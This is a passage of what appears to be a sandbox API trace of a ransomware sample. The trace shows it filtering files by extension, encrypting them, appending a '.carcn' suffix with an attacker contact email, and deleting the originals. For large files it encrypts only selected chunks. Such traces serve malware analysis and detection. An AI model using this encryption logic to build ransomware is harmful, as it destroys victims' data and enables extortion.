(lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.671] lstrlenW (lpString=".doc") returned 4 [0161.671] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.671] lstrlenW (lpString=".docx") returned 5 [0161.671] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0161.671] lstrlenW (lpString=".pdf") returned 4 [0161.671] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.671] lstrlenW (lpString=".xls") returned 4 [0161.671] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.671] lstrlenW (lpString=".xlsx") returned 5 [0161.671] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0161.671] lstrlenW (lpString=".ppt") returned 4 [0161.671] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.671] lstrlenW (lpString=".zip") returned 4 [0161.671] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.671] lstrlenW (lpString=".rar") returned 4 [0161.671] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.671] lstrlenW (lpString=".bz2") returned 4 [0161.671] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.671] lstrlenW (lpString=".7z") returned 3 [0161.671] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.671] lstrlenW (lpString=".dbf") returned 4 [0161.671] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.671] lstrlenW (lpString=".1cd") returned 4 [0161.671] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.671] lstrlenW (lpString=".jpg") returned 4 [0161.671] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.671] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.672] lstrlenW (lpString="Save.ico") returned 8 [0161.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.672] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1150) returned 1 [0161.672] CloseHandle (hObject=0x2f8) returned 1 [0161.672] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0161.672] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.672] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.672] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.672] GetLastError () returned 0x0 [0161.672] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x47e, lpOverlapped=0x0) returned 1 [0161.710] WriteFile (in: hFile=0x2fc, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x480, lpOverlapped=0x0) returned 1 [0161.711] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.711] WriteFile (in: hFile=0x2fc, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.711] SetEndOfFile (hFile=0x2fc) returned 1 [0161.711] CloseHandle (hObject=0x2fc) returned 1 [0161.712] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.712] SetEndOfFile (hFile=0x2f8) returned 1 [0161.713] CloseHandle (hObject=0x2f8) returned 1 [0161.713] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.713] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0161.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.713] lstrlenW (lpString=".doc") returned 4 [0161.713] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.713] lstrlenW (lpString=".docx") returned 5 [0161.713] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0161.713] lstrlenW (lpString=".pdf") returned 4 [0161.713] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.713] lstrlenW (lpString=".xls") returned 4 [0161.713] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.714] lstrlenW (lpString=".xlsx") returned 5 [0161.714] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0161.714] lstrlenW (lpString=".ppt") returned 4 [0161.714] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.714] lstrlenW (lpString=".zip") returned 4 [0161.714] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.714] lstrlenW (lpString=".rar") returned 4 [0161.714] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.714] lstrlenW (lpString=".bz2") returned 4 [0161.714] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.714] lstrlenW (lpString=".7z") returned 3 [0161.714] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.714] lstrlenW (lpString=".dbf") returned 4 [0161.714] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.714] lstrlenW (lpString=".1cd") returned 4 [0161.714] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.714] lstrlenW (lpString=".jpg") returned 4 [0161.714] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.714] lstrlenW (lpString=".doc") returned 4 [0161.714] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.714] lstrlenW (lpString=".docx") returned 5 [0161.714] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0161.714] lstrlenW (lpString=".pdf") returned 4 [0161.714] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.714] lstrlenW (lpString=".xls") returned 4 [0161.714] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.714] lstrlenW (lpString=".xlsx") returned 5 [0161.714] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0161.714] lstrlenW (lpString=".ppt") returned 4 [0161.715] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.715] lstrlenW (lpString=".zip") returned 4 [0161.715] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.715] lstrlenW (lpString=".rar") returned 4 [0161.715] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.715] lstrlenW (lpString=".bz2") returned 4 [0161.715] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.715] lstrlenW (lpString=".7z") returned 3 [0161.715] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.715] lstrlenW (lpString=".dbf") returned 4 [0161.715] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.715] lstrlenW (lpString=".1cd") returned 4 [0161.715] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0161.715] lstrlenW (lpString=".jpg") returned 4 [0161.715] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.715] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.715] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0161.715] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.716] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1150) returned 1 [0161.716] CloseHandle (hObject=0x2f8) returned 1 [0161.716] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0161.716] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.716] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.716] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.716] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.716] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.717] GetLastError () returned 0x0 [0161.717] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x47e, lpOverlapped=0x0) returned 1 [0161.895] WriteFile (in: hFile=0x2fc, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x480, lpOverlapped=0x0) returned 1 [0161.896] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.896] WriteFile (in: hFile=0x2fc, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xf4, lpOverlapped=0x0) returned 1 [0161.896] SetEndOfFile (hFile=0x2fc) returned 1 [0161.896] CloseHandle (hObject=0x2fc) returned 1 [0161.897] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.897] SetEndOfFile (hFile=0x2f8) returned 1 [0161.898] CloseHandle (hObject=0x2f8) returned 1 [0161.898] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.899] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0161.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.899] lstrlenW (lpString=".doc") returned 4 [0161.899] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.899] lstrlenW (lpString=".docx") returned 5 [0161.899] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0161.899] lstrlenW (lpString=".pdf") returned 4 [0161.899] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.899] lstrlenW (lpString=".xls") returned 4 [0161.899] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.899] lstrlenW (lpString=".xlsx") returned 5 [0161.899] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0161.899] lstrlenW (lpString=".ppt") returned 4 [0161.900] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.900] lstrlenW (lpString=".zip") returned 4 [0161.900] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.900] lstrlenW (lpString=".rar") returned 4 [0161.900] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.900] lstrlenW (lpString=".bz2") returned 4 [0161.900] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.900] lstrlenW (lpString=".7z") returned 3 [0161.900] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.900] lstrlenW (lpString=".dbf") returned 4 [0161.900] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.900] lstrlenW (lpString=".1cd") returned 4 [0161.900] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.900] lstrlenW (lpString=".jpg") returned 4 [0161.900] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.900] lstrlenW (lpString=".doc") returned 4 [0161.900] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.900] lstrlenW (lpString=".docx") returned 5 [0161.900] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0161.900] lstrlenW (lpString=".pdf") returned 4 [0161.900] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.900] lstrlenW (lpString=".xls") returned 4 [0161.900] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.900] lstrlenW (lpString=".xlsx") returned 5 [0161.900] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0161.900] lstrlenW (lpString=".ppt") returned 4 [0161.900] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.901] lstrlenW (lpString=".zip") returned 4 [0161.901] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.901] lstrlenW (lpString=".rar") returned 4 [0161.901] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.901] lstrlenW (lpString=".bz2") returned 4 [0161.901] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.901] lstrlenW (lpString=".7z") returned 3 [0161.901] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.901] lstrlenW (lpString=".dbf") returned 4 [0161.901] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.901] lstrlenW (lpString=".1cd") returned 4 [0161.901] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0161.901] lstrlenW (lpString=".jpg") returned 4 [0161.901] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.901] lstrcmpiW (lpString1=".mzz", lpString2=".carcn") returned 1 [0161.901] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0161.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.901] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=181483595) returned 1 [0161.901] CloseHandle (hObject=0x2f8) returned 1 [0161.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0161.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.902] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0161.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.902] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1 [0161.902] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0161.902] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ce9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ce9058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.201] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0162.201] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d29058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d29058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.677] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.677] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0162.677] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d69058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d69058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.851] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.851] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0162.862] SetEndOfFile (hFile=0x2f8) returned 1 [0162.862] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43500b8 [0162.934] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0162.934] WriteFile (in: hFile=0x2f8, lpBuffer=0x43500b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43500b8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0162.934] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0162.935] WriteFile (in: hFile=0x2f8, lpBuffer=0x43500b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43500b8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0162.935] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0162.935] WriteFile (in: hFile=0x2f8, lpBuffer=0x43500b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43500b8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0162.936] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43500b8 | out: hHeap=0x790000) returned 1 [0162.936] CloseHandle (hObject=0x2f8) returned 1 [0164.542] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0164.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.542] lstrlenW (lpString=".doc") returned 4 [0164.542] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0164.542] lstrlenW (lpString=".docx") returned 5 [0164.542] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0164.542] lstrlenW (lpString=".pdf") returned 4 [0164.542] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0164.542] lstrlenW (lpString=".xls") returned 4 [0164.542] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0164.542] lstrlenW (lpString=".xlsx") returned 5 [0164.542] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0164.542] lstrlenW (lpString=".ppt") returned 4 [0164.542] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0164.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.542] lstrlenW (lpString=".zip") returned 4 [0164.542] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0164.543] lstrlenW (lpString=".rar") returned 4 [0164.543] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0164.543] lstrlenW (lpString=".bz2") returned 4 [0164.543] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0164.543] lstrlenW (lpString=".7z") returned 3 [0164.543] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0164.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.543] lstrlenW (lpString=".dbf") returned 4 [0164.543] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0164.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.543] lstrlenW (lpString=".1cd") returned 4 [0164.543] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0164.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.543] lstrlenW (lpString=".jpg") returned 4 [0164.543] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0164.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.543] lstrlenW (lpString=".doc") returned 4 [0164.543] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0164.543] lstrlenW (lpString=".docx") returned 5 [0164.543] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0164.543] lstrlenW (lpString=".pdf") returned 4 [0164.543] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0164.543] lstrlenW (lpString=".xls") returned 4 [0164.543] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0164.543] lstrlenW (lpString=".xlsx") returned 5 [0164.543] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0164.544] lstrlenW (lpString=".ppt") returned 4 